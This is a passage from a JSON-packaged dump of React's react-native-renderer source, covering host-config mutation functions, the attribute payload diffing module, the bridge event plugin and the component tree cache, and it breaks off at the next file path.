);\n  }\n}\n\nexport function appendChildToContainer(\n  parentInstance: Container,\n  child: Instance | TextInstance,\n): void {\n  const childTag = typeof child === 'number' ? child : child._nativeTag;\n  UIManager.setChildren(\n    parentInstance.containerTag, // containerTag\n    [childTag], // reactTags\n  );\n}\n\nexport function commitTextUpdate(\n  textInstance: TextInstance,\n  oldText: string,\n  newText: string,\n): void {\n  UIManager.updateView(\n    textInstance, // reactTag\n    'RCTRawText', // viewName\n    {text: newText}, // props\n  );\n}\n\nexport function commitMount(\n  instance: Instance,\n  type: string,\n  newProps: Props,\n  internalInstanceHandle: Object,\n): void {\n  // Noop\n}\n\nexport function commitUpdate(\n  instance: Instance,\n  type: string,\n  oldProps: Props,\n  newProps: Props,\n  internalInstanceHandle: Object,\n): void {\n  const viewConfig = instance.viewConfig;\n\n  updateFiberProps(instance._nativeTag, newProps);\n\n  const updatePayload = diff(oldProps, newProps, viewConfig.validAttributes);\n\n  // Avoid the overhead of bridge calls if there's no update.\n  // This is an expensive no-op for Android, and causes an unnecessary\n  // view invalidation for certain components (eg RCTTextInput) on iOS.\n  if (updatePayload != null) {\n    UIManager.updateView(\n      instance._nativeTag, // reactTag\n      viewConfig.uiViewClassName, // viewName\n      updatePayload, // props\n    );\n  }\n}\n\nexport function insertBefore(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n  beforeChild: Instance | TextInstance,\n): void {\n  const children = (parentInstance: any)._children;\n  const index = children.indexOf(child);\n\n  // Move existing child or add new child?\n  if (index >= 0) {\n    children.splice(index, 1);\n    const beforeChildIndex = children.indexOf(beforeChild);\n    children.splice(beforeChildIndex, 0, child);\n\n    UIManager.manageChildren(\n      (parentInstance: any)._nativeTag, // containerID\n      [index], // moveFromIndices\n      [beforeChildIndex], // moveToIndices\n      [], // addChildReactTags\n      [], // addAtIndices\n      [], // removeAtIndices\n    );\n  } else {\n    const beforeChildIndex = children.indexOf(beforeChild);\n    children.splice(beforeChildIndex, 0, child);\n\n    const childTag = typeof child === 'number' ? child : child._nativeTag;\n\n    UIManager.manageChildren(\n      (parentInstance: any)._nativeTag, // containerID\n      [], // moveFromIndices\n      [], // moveToIndices\n      [childTag], // addChildReactTags\n      [beforeChildIndex], // addAtIndices\n      [], // removeAtIndices\n    );\n  }\n}\n\nexport function insertInContainerBefore(\n  parentInstance: Container,\n  child: Instance | TextInstance,\n  beforeChild: Instance | TextInstance,\n): void {\n  // TODO (bvaughn): Remove this check when...\n  // We create a wrapper object for the container in ReactNative render()\n  // Or we refactor to remove wrapper objects entirely.\n  // For more info on pros/cons see PR #8560 description.\n  if (typeof parentInstance === 'number') {\n    throw new Error('Container does not support insertBefore operation');\n  }\n}\n\nexport function removeChild(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n): void {\n  recursivelyUncacheFiberNode(child);\n  const children = parentInstance._children;\n  const index = children.indexOf(child);\n\n  children.splice(index, 1);\n\n  UIManager.manageChildren(\n    parentInstance._nativeTag, // containerID\n    [], // moveFromIndices\n    [], // moveToIndices\n    [], // addChildReactTags\n    [], // addAtIndices\n    [index], // removeAtIndices\n  );\n}\n\nexport function removeChildFromContainer(\n  parentInstance: Container,\n  child: Instance | TextInstance,\n): void {\n  recursivelyUncacheFiberNode(child);\n  UIManager.manageChildren(\n    parentInstance.containerTag, // containerID\n    [], // moveFromIndices\n    [], // moveToIndices\n    [], // addChildReactTags\n    [], // addAtIndices\n    [0], // removeAtIndices\n  );\n}\n\nexport function resetTextContent(instance: Instance): void {\n  // Noop\n}\n\nexport function hideInstance(instance: Instance): void {\n  const viewConfig = instance.viewConfig;\n  const updatePayload = create(\n    {style: {display: 'none'}},\n    viewConfig.validAttributes,\n  );\n  UIManager.updateView(\n    instance._nativeTag,\n    viewConfig.uiViewClassName,\n    updatePayload,\n  );\n}\n\nexport function hideTextInstance(textInstance: TextInstance): void {\n  throw new Error('Not yet implemented.');\n}\n\nexport function unhideInstance(instance: Instance, props: Props): void {\n  const viewConfig = instance.viewConfig;\n  const updatePayload = diff(\n    {...props, style: [props.style, {display: 'none'}]},\n    props,\n    viewConfig.validAttributes,\n  );\n  UIManager.updateView(\n    instance._nativeTag,\n    viewConfig.uiViewClassName,\n    updatePayload,\n  );\n}\n\nexport function applyViewTransitionName(\n  instance: Instance,\n  name: string,\n  className: ?string,\n): void {\n  // Not yet implemented\n}\n\nexport function restoreViewTransitionName(\n  instance: Instance,\n  props: Props,\n): void {\n  // Not yet implemented\n}\n\nexport function cancelViewTransitionName(\n  instance: Instance,\n  name: string,\n  props: Props,\n): void {\n  // Not yet implemented\n}\n\nexport function cancelRootViewTransitionName(rootContainer: Container): void {\n  // Not yet implemented\n}\n\nexport function restoreRootViewTransitionName(rootContainer: Container): void {\n  // Not yet implemented\n}\n\nexport function cloneRootViewTransitionContainer(\n  rootContainer: Container,\n): Instance {\n  throw new Error('Not implemented.');\n}\n\nexport function removeRootViewTransitionClone(\n  rootContainer: Container,\n  clone: Instance,\n): void {\n  throw new Error('Not implemented.');\n}\n\nexport type InstanceMeasurement = null;\n\nexport function measureInstance(instance: Instance): InstanceMeasurement {\n  // This heuristic is better implemented at the native layer.\n  return null;\n}\n\nexport function measureClonedInstance(instance: Instance): InstanceMeasurement {\n  return null;\n}\n\nexport function wasInstanceInViewport(\n  measurement: InstanceMeasurement,\n): boolean {\n  return true;\n}\n\nexport function hasInstanceChanged(\n  oldMeasurement: InstanceMeasurement,\n  newMeasurement: InstanceMeasurement,\n): boolean {\n  return false;\n}\n\nexport function hasInstanceAffectedParent(\n  oldMeasurement: InstanceMeasurement,\n  newMeasurement: InstanceMeasurement,\n): boolean {\n  return false;\n}\n\nexport function startViewTransition(\n  suspendedState: null | SuspendedState,\n  rootContainer: Container,\n  transitionTypes: null | TransitionTypes,\n  mutationCallback: () => void,\n  layoutCallback: () => void,\n  afterMutationCallback: () => void,\n  spawnedWorkCallback: () => void,\n  passiveCallback: () => mixed,\n  errorCallback: mixed => void,\n  blockedCallback: string => void, // Profiling-only\n  finishedAnimation: () => void, // Profiling-only\n): null | RunningViewTransition {\n  mutationCallback();\n  layoutCallback();\n  // Skip afterMutationCallback(). We don't need it since we're not animating.\n  spawnedWorkCallback();\n  if (enableProfilerTimer) {\n    finishedAnimation();\n  }\n  // Skip passiveCallback(). Spawned work will schedule a task.\n  return null;\n}\n\nexport type RunningViewTransition = null;\n\nexport function startGestureTransition(\n  suspendedState: null | SuspendedState,\n  rootContainer: Container,\n  timeline: GestureTimeline,\n  rangeStart: number,\n  rangeEnd: number,\n  transitionTypes: null | TransitionTypes,\n  mutationCallback: () => void,\n  animateCallback: () => void,\n  errorCallback: mixed => void,\n  finishedAnimation: () => void, // Profiling-only\n): null | RunningViewTransition {\n  mutationCallback();\n  animateCallback();\n  if (enableProfilerTimer) {\n    finishedAnimation();\n  }\n  return null;\n}\n\nexport function stopViewTransition(transition: RunningViewTransition) {}\n\nexport function addViewTransitionFinishedListener(\n  transition: RunningViewTransition,\n  callback: () => void,\n) {\n  callback();\n}\n\nexport type ViewTransitionInstance = null | {name: string, ...};\n\nexport function createViewTransitionInstance(\n  name: string,\n): ViewTransitionInstance {\n  return null;\n}\n\nexport type GestureTimeline = null;\n\nexport function getCurrentGestureOffset(provider: GestureTimeline): number {\n  throw new Error(\n    'startGestureTransition is not yet supported in React Native.',\n  );\n}\n\nexport function clearContainer(container: Container): void {\n  // TODO Implement this for React Native\n  // UIManager does not expose a \"remove all\" type method.\n}\n\nexport function unhideTextInstance(\n  textInstance: TextInstance,\n  text: string,\n): void {\n  throw new Error('Not yet implemented.');\n}\n\nexport {getClosestInstanceFromNode as getInstanceFromNode};\n\nexport function beforeActiveInstanceBlur(internalInstanceHandle: Object) {\n  // noop\n}\n\nexport function afterActiveInstanceBlur() {\n  // noop\n}\n\nexport function preparePortalMount(portalInstance: Instance): void {\n  // noop\n}\n\nexport function detachDeletedInstance(node: Instance): void {\n  // noop\n}\n\nexport function requestPostPaintCallback(callback: (time: number) => void) {\n  // noop\n}\n\nexport function maySuspendCommit(type: Type, props: Props): boolean {\n  return false;\n}\n\nexport function maySuspendCommitOnUpdate(\n  type: Type,\n  oldProps: Props,\n  newProps: Props,\n): boolean {\n  return false;\n}\n\nexport function maySuspendCommitInSyncRender(\n  type: Type,\n  props: Props,\n): boolean {\n  return false;\n}\n\nexport function preloadInstance(\n  instance: Instance,\n  type: Type,\n  props: Props,\n): boolean {\n  // Return false to indicate it's already loaded\n  return true;\n}\n\nexport opaque type SuspendedState = null;\n\nexport function startSuspendingCommit(): SuspendedState {\n  return null;\n}\n\nexport function suspendInstance(\n  state: SuspendedState,\n  instance: Instance,\n  type: Type,\n  props: Props,\n): void {}\n\nexport function suspendOnActiveViewTransition(\n  state: SuspendedState,\n  container: Container,\n): void {}\n\nexport function waitForCommitToBeReady(\n  state: SuspendedState,\n  timeoutOffset: number,\n): null {\n  return null;\n}\n\nexport function getSuspendedCommitReason(\n  state: SuspendedState,\n  rootContainer: Container,\n): null | string {\n  return null;\n}\n\nexport const NotPendingTransition: TransitionStatus = null;\nexport const HostTransitionContext: ReactContext<TransitionStatus> = {\n  $$typeof: REACT_CONTEXT_TYPE,\n  Provider: (null: any),\n  Consumer: (null: any),\n  _currentValue: NotPendingTransition,\n  _currentValue2: NotPendingTransition,\n  _threadCount: 0,\n};\n\nexport type FormInstance = Instance;\nexport function resetFormInstance(form: Instance): void {}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeAttributePayload.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Modules provided by RN:\nimport {\n  deepDiffer,\n  flattenStyle,\n} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\nimport isArray from 'shared/isArray';\n\nimport type {AttributeConfiguration} from './ReactNativeTypes';\n\nconst emptyObject = {};\n\n/**\n * Create a payload that contains all the updates between two sets of props.\n *\n * These helpers are all encapsulated into a single module, because they use\n * mutation as a performance optimization which leads to subtle shared\n * dependencies between the code paths. To avoid this mutable state leaking\n * across modules, I've kept them isolated to this module.\n */\n\ntype NestedNode = Array<NestedNode> | Object;\n\n// Tracks removed keys\nlet removedKeys: {[string]: boolean} | null = null;\nlet removedKeyCount = 0;\n\nconst deepDifferOptions = {\n  unsafelyIgnoreFunctions: true,\n};\n\nfunction defaultDiffer(prevProp: mixed, nextProp: mixed): boolean {\n  if (typeof nextProp !== 'object' || nextProp === null) {\n    // Scalars have already been checked for equality\n    return true;\n  } else {\n    // For objects and arrays, the default diffing algorithm is a deep compare\n    return deepDiffer(prevProp, nextProp, deepDifferOptions);\n  }\n}\n\nfunction restoreDeletedValuesInNestedArray(\n  updatePayload: Object,\n  node: NestedNode,\n  validAttributes: AttributeConfiguration,\n) {\n  if (isArray(node)) {\n    let i = node.length;\n    while (i-- && removedKeyCount > 0) {\n      restoreDeletedValuesInNestedArray(\n        updatePayload,\n        node[i],\n        validAttributes,\n      );\n    }\n  } else if (node && removedKeyCount > 0) {\n    const obj = node;\n    for (const propKey in removedKeys) {\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      if (!removedKeys[propKey]) {\n        continue;\n      }\n      let nextProp = obj[propKey];\n      if (nextProp === undefined) {\n        continue;\n      }\n\n      const attributeConfig = validAttributes[propKey];\n      if (!attributeConfig) {\n        continue; // not a valid native prop\n      }\n\n      if (typeof nextProp === 'function') {\n        // $FlowFixMe[incompatible-type] found when upgrading Flow\n        nextProp = true;\n      }\n      if (typeof nextProp === 'undefined') {\n        // $FlowFixMe[incompatible-type] found when upgrading Flow\n        nextProp = null;\n      }\n\n      if (typeof attributeConfig !== 'object') {\n        // case: !Object is the default case\n        updatePayload[propKey] = nextProp;\n      } else if (\n        typeof attributeConfig.diff === 'function' ||\n        typeof attributeConfig.process === 'function'\n      ) {\n        // case: CustomAttributeConfiguration\n        const nextValue =\n          typeof attributeConfig.process === 'function'\n            ? attributeConfig.process(nextProp)\n            : nextProp;\n        updatePayload[propKey] = nextValue;\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      removedKeys[propKey] = false;\n      removedKeyCount--;\n    }\n  }\n}\n\nfunction diffNestedArrayProperty(\n  updatePayload: null | Object,\n  prevArray: Array<NestedNode>,\n  nextArray: Array<NestedNode>,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  const minLength =\n    prevArray.length < nextArray.length ? prevArray.length : nextArray.length;\n  let i;\n  for (i = 0; i < minLength; i++) {\n    // Diff any items in the array in the forward direction. Repeated keys\n    // will be overwritten by later values.\n    updatePayload = diffNestedProperty(\n      updatePayload,\n      prevArray[i],\n      nextArray[i],\n      validAttributes,\n    );\n  }\n  for (; i < prevArray.length; i++) {\n    // Clear out all remaining properties.\n    updatePayload = clearNestedProperty(\n      updatePayload,\n      prevArray[i],\n      validAttributes,\n    );\n  }\n  for (; i < nextArray.length; i++) {\n    // Add all remaining properties.\n    updatePayload = addNestedProperty(\n      updatePayload,\n      nextArray[i],\n      validAttributes,\n    );\n  }\n  return updatePayload;\n}\n\nfunction diffNestedProperty(\n  updatePayload: null | Object,\n  prevProp: NestedNode,\n  nextProp: NestedNode,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  if (!updatePayload && prevProp === nextProp) {\n    // If no properties have been added, then we can bail out quickly on object\n    // equality.\n    return updatePayload;\n  }\n\n  if (!prevProp || !nextProp) {\n    if (nextProp) {\n      return addNestedProperty(updatePayload, nextProp, validAttributes);\n    }\n    if (prevProp) {\n      return clearNestedProperty(updatePayload, prevProp, validAttributes);\n    }\n    return updatePayload;\n  }\n\n  if (!isArray(prevProp) && !isArray(nextProp)) {\n    // Both are leaves, we can diff the leaves.\n    return diffProperties(updatePayload, prevProp, nextProp, validAttributes);\n  }\n\n  if (isArray(prevProp) && isArray(nextProp)) {\n    // Both are arrays, we can diff the arrays.\n    return diffNestedArrayProperty(\n      updatePayload,\n      prevProp,\n      nextProp,\n      validAttributes,\n    );\n  }\n\n  if (isArray(prevProp)) {\n    return diffProperties(\n      updatePayload,\n      flattenStyle(prevProp),\n      nextProp,\n      validAttributes,\n    );\n  }\n\n  return diffProperties(\n    updatePayload,\n    prevProp,\n    flattenStyle(nextProp),\n    validAttributes,\n  );\n}\n\n/**\n * addNestedProperty takes a single set of props and valid attribute\n * attribute configurations. It processes each prop and adds it to the\n * updatePayload.\n */\nfunction addNestedProperty(\n  updatePayload: null | Object,\n  nextProp: NestedNode,\n  validAttributes: AttributeConfiguration,\n): $FlowFixMe {\n  if (!nextProp) {\n    return updatePayload;\n  }\n\n  if (!isArray(nextProp)) {\n    // Add each property of the leaf.\n    return addProperties(updatePayload, nextProp, validAttributes);\n  }\n\n  for (let i = 0; i < nextProp.length; i++) {\n    // Add all the properties of the array.\n    updatePayload = addNestedProperty(\n      updatePayload,\n      nextProp[i],\n      validAttributes,\n    );\n  }\n\n  return updatePayload;\n}\n\n/**\n * clearNestedProperty takes a single set of props and valid attributes. It\n * adds a null sentinel to the updatePayload, for each prop key.\n */\nfunction clearNestedProperty(\n  updatePayload: null | Object,\n  prevProp: NestedNode,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  if (!prevProp) {\n    return updatePayload;\n  }\n\n  if (!isArray(prevProp)) {\n    // Add each property of the leaf.\n    return clearProperties(updatePayload, prevProp, validAttributes);\n  }\n\n  for (let i = 0; i < prevProp.length; i++) {\n    // Add all the properties of the array.\n    updatePayload = clearNestedProperty(\n      updatePayload,\n      prevProp[i],\n      validAttributes,\n    );\n  }\n  return updatePayload;\n}\n\n/**\n * diffProperties takes two sets of props and a set of valid attributes\n * and write to updatePayload the values that changed or were deleted.\n * If no updatePayload is provided, a new one is created and returned if\n * anything changed.\n */\nfunction diffProperties(\n  updatePayload: null | Object,\n  prevProps: Object,\n  nextProps: Object,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  let attributeConfig;\n  let nextProp;\n  let prevProp;\n\n  for (const propKey in nextProps) {\n    attributeConfig = validAttributes[propKey];\n    if (!attributeConfig) {\n      continue; // not a valid native prop\n    }\n\n    prevProp = prevProps[propKey];\n    nextProp = nextProps[propKey];\n\n    // functions are converted to booleans as markers that the associated\n    // events should be sent from native.\n    if (typeof nextProp === 'function') {\n      nextProp = (true: any);\n      // If nextProp is not a function, then don't bother changing prevProp\n      // since nextProp will win and go into the updatePayload regardless.\n      if (typeof prevProp === 'function') {\n        prevProp = (true: any);\n      }\n    }\n\n    // An explicit value of undefined is treated as a null because it overrides\n    // any other preceding value.\n    if (typeof nextProp === 'undefined') {\n      nextProp = (null: any);\n      if (typeof prevProp === 'undefined') {\n        prevProp = (null: any);\n      }\n    }\n\n    if (removedKeys) {\n      removedKeys[propKey] = false;\n    }\n\n    if (updatePayload && updatePayload[propKey] !== undefined) {\n      // Something else already triggered an update to this key because another\n      // value diffed. Since we're now later in the nested arrays our value is\n      // more important so we need to calculate it and override the existing\n      // value. It doesn't matter if nothing changed, we'll set it anyway.\n\n      // Pattern match on: attributeConfig\n      if (typeof attributeConfig !== 'object') {\n        // case: !Object is the default case\n        updatePayload[propKey] = nextProp;\n      } else if (\n        typeof attributeConfig.diff === 'function' ||\n        typeof attributeConfig.process === 'function'\n      ) {\n        // case: CustomAttributeConfiguration\n        const nextValue =\n          typeof attributeConfig.process === 'function'\n            ? attributeConfig.process(nextProp)\n            : nextProp;\n        updatePayload[propKey] = nextValue;\n      }\n      continue;\n    }\n\n    if (prevProp === nextProp) {\n      continue; // nothing changed\n    }\n\n    // Pattern match on: attributeConfig\n    if (typeof attributeConfig !== 'object') {\n      // case: !Object is the default case\n      if (defaultDiffer(prevProp, nextProp)) {\n        // a normal leaf has changed\n        (updatePayload || (updatePayload = ({}: {[string]: $FlowFixMe})))[\n          propKey\n        ] = nextProp;\n      }\n    } else if (\n      typeof attributeConfig.diff === 'function' ||\n      typeof attributeConfig.process === 'function'\n    ) {\n      // case: CustomAttributeConfiguration\n      const shouldUpdate =\n        prevProp === undefined ||\n        (typeof attributeConfig.diff === 'function'\n          ? attributeConfig.diff(prevProp, nextProp)\n          : defaultDiffer(prevProp, nextProp));\n      if (shouldUpdate) {\n        const nextValue =\n          typeof attributeConfig.process === 'function'\n            ? // $FlowFixMe[incompatible-use] found when upgrading Flow\n              attributeConfig.process(nextProp)\n            : nextProp;\n        (updatePayload || (updatePayload = ({}: {[string]: $FlowFixMe})))[\n          propKey\n        ] = nextValue;\n      }\n    } else {\n      // default: fallthrough case when nested properties are defined\n      removedKeys = null;\n      removedKeyCount = 0;\n      // We think that attributeConfig is not CustomAttributeConfiguration at\n      // this point so we assume it must be AttributeConfiguration.\n      updatePayload = diffNestedProperty(\n        updatePayload,\n        prevProp,\n        nextProp,\n        ((attributeConfig: any): AttributeConfiguration),\n      );\n      if (removedKeyCount > 0 && updatePayload) {\n        restoreDeletedValuesInNestedArray(\n          updatePayload,\n          nextProp,\n          ((attributeConfig: any): AttributeConfiguration),\n        );\n        removedKeys = null;\n      }\n    }\n  }\n\n  // Also iterate through all the previous props to catch any that have been\n  // removed and make sure native gets the signal so it can reset them to the\n  // default.\n  for (const propKey in prevProps) {\n    if (nextProps[propKey] !== undefined) {\n      continue; // we've already covered this key in the previous pass\n    }\n    attributeConfig = validAttributes[propKey];\n    if (!attributeConfig) {\n      continue; // not a valid native prop\n    }\n\n    if (updatePayload && updatePayload[propKey] !== undefined) {\n      // This was already updated to a diff result earlier.\n      continue;\n    }\n\n    prevProp = prevProps[propKey];\n    if (prevProp === undefined) {\n      continue; // was already empty anyway\n    }\n    // Pattern match on: attributeConfig\n    if (\n      typeof attributeConfig !== 'object' ||\n      typeof attributeConfig.diff === 'function' ||\n      typeof attributeConfig.process === 'function'\n    ) {\n      // case: CustomAttributeConfiguration | !Object\n      // Flag the leaf property for removal by sending a sentinel.\n      (updatePayload || (updatePayload = ({}: {[string]: $FlowFixMe})))[\n        propKey\n      ] = null;\n      if (!removedKeys) {\n        removedKeys = ({}: {[string]: boolean});\n      }\n      if (!removedKeys[propKey]) {\n        removedKeys[propKey] = true;\n        removedKeyCount++;\n      }\n    } else {\n      // default:\n      // This is a nested attribute configuration where all the properties\n      // were removed so we need to go through and clear out all of them.\n      updatePayload = clearNestedProperty(\n        updatePayload,\n        prevProp,\n        ((attributeConfig: any): AttributeConfiguration),\n      );\n    }\n  }\n  return updatePayload;\n}\n\n/**\n * addProperties adds all the valid props to the payload after being processed.\n */\nfunction addProperties(\n  updatePayload: null | Object,\n  props: Object,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  // TODO: Fast path\n  return diffProperties(updatePayload, emptyObject, props, validAttributes);\n}\n\n/**\n * clearProperties clears all the previous props by adding a null sentinel\n * to the payload for each valid key.\n */\nfunction clearProperties(\n  updatePayload: null | Object,\n  prevProps: Object,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  // TODO: Fast path\n  return diffProperties(updatePayload, prevProps, emptyObject, validAttributes);\n}\n\nexport function create(\n  props: Object,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  return addProperties(\n    null, // updatePayload\n    props,\n    validAttributes,\n  );\n}\n\nexport function diff(\n  prevProps: Object,\n  nextProps: Object,\n  validAttributes: AttributeConfiguration,\n): null | Object {\n  return diffProperties(\n    null, // updatePayload\n    prevProps,\n    nextProps,\n    validAttributes,\n  );\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeBridgeEventPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  AnyNativeEvent,\n  EventTypes,\n  LegacyPluginModule,\n} from './legacy-events/PluginModuleType';\nimport type {TopLevelType} from './legacy-events/TopLevelEventTypes';\nimport SyntheticEvent from './legacy-events/SyntheticEvent';\n\n// Module provided by RN:\nimport {ReactNativeViewConfigRegistry} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\nimport accumulateInto from './legacy-events/accumulateInto';\nimport getListener from './ReactNativeGetListener';\nimport forEachAccumulated from './legacy-events/forEachAccumulated';\nimport {HostComponent} from 'react-reconciler/src/ReactWorkTags';\n\nconst {customBubblingEventTypes, customDirectEventTypes} =\n  ReactNativeViewConfigRegistry;\n\n// Start of inline: the below functions were inlined from\n// EventPropagator.js, as they deviated from ReactDOM's newer\n// implementations.\n// $FlowFixMe[missing-local-annot]\nfunction listenerAtPhase(inst, event, propagationPhase: PropagationPhases) {\n  const registrationName =\n    event.dispatchConfig.phasedRegistrationNames[propagationPhase];\n  return getListener(inst, registrationName);\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction accumulateDirectionalDispatches(inst, phase, event) {\n  if (__DEV__) {\n    if (!inst) {\n      console.error('Dispatching inst must not be null');\n    }\n  }\n  const listener = listenerAtPhase(inst, event, phase);\n  if (listener) {\n    event._dispatchListeners = accumulateInto(\n      event._dispatchListeners,\n      listener,\n    );\n    event._dispatchInstances = accumulateInto(event._dispatchInstances, inst);\n  }\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction getParent(inst) {\n  do {\n    inst = inst.return;\n    // TODO: If this is a HostRoot we might want to bail out.\n    // That is depending on if we want nested subtrees (layers) to bubble\n    // events to their parent. We could also go through parentNode on the\n    // host node but that wouldn't work for React Native and doesn't let us\n    // do the portal feature.\n  } while (inst && inst.tag !== HostComponent);\n  if (inst) {\n    return inst;\n  }\n  return null;\n}\n\n/**\n * Simulates the traversal of a two-phase, capture/bubble event dispatch.\n */\nexport function traverseTwoPhase(\n  inst: Object,\n  fn: Function,\n  arg: Function,\n  skipBubbling: boolean,\n) {\n  const path = [];\n  while (inst) {\n    path.push(inst);\n    inst = getParent(inst);\n  }\n  let i;\n  for (i = path.length; i-- > 0; ) {\n    fn(path[i], 'captured', arg);\n  }\n  if (skipBubbling) {\n    // Dispatch on target only\n    fn(path[0], 'bubbled', arg);\n  } else {\n    for (i = 0; i < path.length; i++) {\n      fn(path[i], 'bubbled', arg);\n    }\n  }\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction accumulateTwoPhaseDispatchesSingle(event) {\n  if (event && event.dispatchConfig.phasedRegistrationNames) {\n    traverseTwoPhase(\n      event._targetInst,\n      accumulateDirectionalDispatches,\n      event,\n      false,\n    );\n  }\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction accumulateTwoPhaseDispatches(events) {\n  forEachAccumulated(events, accumulateTwoPhaseDispatchesSingle);\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction accumulateCapturePhaseDispatches(event) {\n  if (event && event.dispatchConfig.phasedRegistrationNames) {\n    traverseTwoPhase(\n      event._targetInst,\n      accumulateDirectionalDispatches,\n      event,\n      true,\n    );\n  }\n}\n\n/**\n * Accumulates without regard to direction, does not look for phased\n * registration names. Same as `accumulateDirectDispatchesSingle` but without\n * requiring that the `dispatchMarker` be the same as the dispatched ID.\n */\nfunction accumulateDispatches(\n  inst: Object,\n  ignoredDirection: ?boolean,\n  event: Object,\n): void {\n  if (inst && event && event.dispatchConfig.registrationName) {\n    const registrationName = event.dispatchConfig.registrationName;\n    const listener = getListener(inst, registrationName);\n    if (listener) {\n      event._dispatchListeners = accumulateInto(\n        event._dispatchListeners,\n        listener,\n      );\n      event._dispatchInstances = accumulateInto(event._dispatchInstances, inst);\n    }\n  }\n}\n\n/**\n * Accumulates dispatches on an `SyntheticEvent`, but only for the\n * `dispatchMarker`.\n * @param {SyntheticEvent} event\n */\nfunction accumulateDirectDispatchesSingle(event: Object) {\n  if (event && event.dispatchConfig.registrationName) {\n    accumulateDispatches(event._targetInst, null, event);\n  }\n}\n\nfunction accumulateDirectDispatches(events: ?(Array<Object> | Object)) {\n  forEachAccumulated(events, accumulateDirectDispatchesSingle);\n}\n\n// End of inline\ntype PropagationPhases = 'bubbled' | 'captured';\n\nconst ReactNativeBridgeEventPlugin: LegacyPluginModule<AnyNativeEvent> = {\n  eventTypes: ({}: EventTypes),\n\n  extractEvents: function (\n    topLevelType: TopLevelType,\n    targetInst: null | Object,\n    nativeEvent: AnyNativeEvent,\n    nativeEventTarget: null | Object,\n  ): ?Object {\n    if (targetInst == null) {\n      // Probably a node belonging to another renderer's tree.\n      return null;\n    }\n    const bubbleDispatchConfig = customBubblingEventTypes[topLevelType];\n    const directDispatchConfig = customDirectEventTypes[topLevelType];\n\n    if (!bubbleDispatchConfig && !directDispatchConfig) {\n      throw new Error(\n        // $FlowFixMe[incompatible-type] - Flow doesn't like this string coercion because DOMTopLevelEventType is opaque\n        `Unsupported top level event type \"${topLevelType}\" dispatched`,\n      );\n    }\n\n    const event = SyntheticEvent.getPooled(\n      bubbleDispatchConfig || directDispatchConfig,\n      targetInst,\n      nativeEvent,\n      nativeEventTarget,\n    );\n    if (bubbleDispatchConfig) {\n      const skipBubbling =\n        event != null &&\n        event.dispatchConfig.phasedRegistrationNames != null &&\n        event.dispatchConfig.phasedRegistrationNames.skipBubbling;\n      if (skipBubbling) {\n        accumulateCapturePhaseDispatches(event);\n      } else {\n        accumulateTwoPhaseDispatches(event);\n      }\n    } else if (directDispatchConfig) {\n      accumulateDirectDispatches(event);\n    } else {\n      return null;\n    }\n    return event;\n  },\n};\n\nexport default ReactNativeBridgeEventPlugin;\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeComponentTree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst instanceCache = new Map();\nconst instanceProps = new Map();\n\nexport function precacheFiberNode(hostInst, tag) {\n  instanceCache.set(tag, hostInst);\n}\n\nexport function uncacheFiberNode(tag) {\n  instanceCache.delete(tag);\n  instanceProps.delete(tag);\n}\n\nfunction getInstanceFromTag(tag) {\n  return instanceCache.get(tag) || null;\n}\n\nfunction getTagFromInstance(inst) {\n  let nativeInstance = inst.stateNode;\n  let tag = nativeInstance._nativeTag;\n  if (tag === undefined && nativeInstance.canonical != null) {\n    // For compatibility with Fabric\n    tag = nativeInstance.canonical.nativeTag;\n    nativeInstance = nativeInstance.canonical.publicInstance;\n  }\n\n  if (!tag) {\n    throw new Error('All native instances should have a tag.');\n  }\n\n  return nativeInstance;\n}\n\nexport {\n  getInstanceFromTag as getClosestInstanceFromNode,\n  getInstanceFromTag as getInstanceFromNode,\n  getTagFromInstance as getNodeFromInstance,\n};\n\nexport function getFiberCurrentPropsFromNode(stateNode) {\n  return instanceProps.get(stateNode._nativeTag) || null;\n}\n\nexport function updateFiberProps(tag, props) {\n  instanceProps.set(tag, props);\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactNativeEventEmitter.js",
